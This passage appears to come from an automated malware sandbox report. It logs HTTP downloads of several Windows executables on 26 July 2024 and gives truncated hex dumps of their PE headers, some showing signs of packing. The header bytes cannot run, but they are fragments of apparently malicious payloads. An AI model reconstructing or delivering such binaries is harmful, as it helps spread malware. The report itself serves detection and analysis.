67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:00 GMTContent-Type: application/octet-streamContent-Length: 1917952Last-Modified: Fri, 26 Jul 2024 06:16:57 GMTConnection: keep-aliveETag: "66a33f59-1d4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4c 00 00 04 00 00 99 79 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 06 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 06 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 73 6d 6a 63 79 6e 70 00 30 1a 00 00 e0 31 00 00 2a 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6e 64 63 72 66 6d 61 00 10 00 00 00 10 4c 00 00 04 00 00 00 1e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4c 00 00 22 00 00 00 22 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:03 GMTContent-Type: application/octet-streamContent-Length: 1878528Last-Modified: Fri, 26 Jul 2024 06:16:22 GMTConnection: keep-aliveETag: "66a33f36-1caa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 26 2c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 2f 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 2e 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 64 64 7a 6a 73 68 6d 00 a0 19 00 00 a0 30 00 00 92 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 74 6d 6c 79 6b 72 7a 00 10 00 00 00 40 4a 00 00 04 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4a 00 00 22 00 00 00 88 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:05 GMTContent-Type: application/octet-streamContent-Length: 11267584Last-Modified: Thu, 25 Jul 2024 14:15:34 GMTConnection: keep-aliveETag: "66a25e06-abee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 2a a8 9c 66 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 29 00 ae 01 00 00 ea ab 00 00 1e 01 00 f6 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 80 ad 00 00 04 00 00 0d 07 03 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 10 0e 00 00 00 80 03 00 40 e0 a9 00 00 10 02 00 28 08 00 00 00 00 00 00 00 00 00 00 00 70 ad 00 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 e3 01 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 53 03 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 ac 01 00 00 10 00 00 00 ae 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 10 01 00 00 00 c0 01 00 00 02 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 50 2b 00 00 00 d0 01 00 00 2c 00 00 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d 04 00 00 00 00 00 02 00 00 02 00 00 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 08 00 00 00 10 02 00 00 0a 00 00 00 e2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 f8 09 00 00 00 20 02 00 00 0a 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 90 1c 01 00 00 30 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 10 0e 00 00 00 50 03 00 00 10 00 00 00 f6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 60 00 00 00 00 60 03 00 00 02 00 00 00 06 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 70 03 00 00 02 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 e0 a9 00 00 80 03 00 00 e2 a9 00 00 0a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 00 00 00 00 70 ad 00 00 02 00 00 00 ec ab 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:15 GMTContent-Type: application/octet-streamContent-Length: 967168Last-Modified: Thu, 25 Jul 2024 14:15:18 GMTConnection: keep-aliveETag: "66a25df6-ec200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 fd 78 6c 84 9c 16 3f 84 9c 16 3f 84 9c 16 3f 57 ee 15 3e 88 9c 16 3f 57 ee 13 3e 2e 9c 16 3f 57 ee 12 3e 91 9c 16 3f 46 1d 12 3e 96 9c 16 3f 57 ee 17 3e 81 9c 16 3f 84 9c 17 3f 00 9c 16 3f 46 1d 13 3e d8 9c 16 3f 46 1d 15 3e 9c 9c 16 3f 77 1e 1f 3e 85 9c 16 3f 77 1e e9 3f 85 9c 16 3f 77 1e 14 3e 85 9c 16 3f 52 69 63 68 84 9c 16 3f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 93 b3 9e 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 72 08 00 00 64 06 00 00 00 00 00 ba e1 02 00 00 10 00 00 00 90 08 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 0f 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 aa 09 00 3c 00 00 00 00 b0 0e 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0e 00 dc 50 00 00 b0 31 09 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 32 09 00 18 00 00 00 f0 30 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 08 00 18 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f6 70 08 00 00 10 00 00 00 72 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 